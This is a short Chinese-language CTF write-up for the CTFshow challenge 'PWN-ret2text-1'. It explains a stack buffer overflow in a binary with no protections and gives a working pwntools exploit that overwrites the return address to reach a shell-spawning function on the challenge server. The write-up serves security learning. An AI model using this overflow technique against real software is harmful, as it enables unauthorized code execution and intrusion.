PWN-ret2text-1
来源CTFshow
检查安全设置和类型
拿到先放到checksec里面检查安全设置和类型:
可以看到没有开启保护,并且是32位小端序
IDA
丢进ida,发现get函数,直接检查,发现s这个字符串长度为九个字节,但是函数却允许输入50个字节,直接点击s可以进入下图界面检查:
可以看到,从s的首地址00000000(相对)处开辟了九个字节的空间,即到-00000009,又因为栈是向下生长(向着正生长),而且get允许输入超过九个字节的字符,我们就可以覆盖r处的返回地址
查看stack函数的地址为0x804850F,所以有payload和exp如下:
from pwn import * # 引入pwntools
p = remote("pwn.challenge.ctf.show",28245) # 连接远程
payload=b"a"*13+p32(0x804850F) # b'a'*13用于覆盖9+4=13个字节,p32函数则构造了stack的返回地址
p.send(payload) # 发送payload
p.interactive() # 交给用户操作(提供交互shell)
得到shell后即可查看flag文件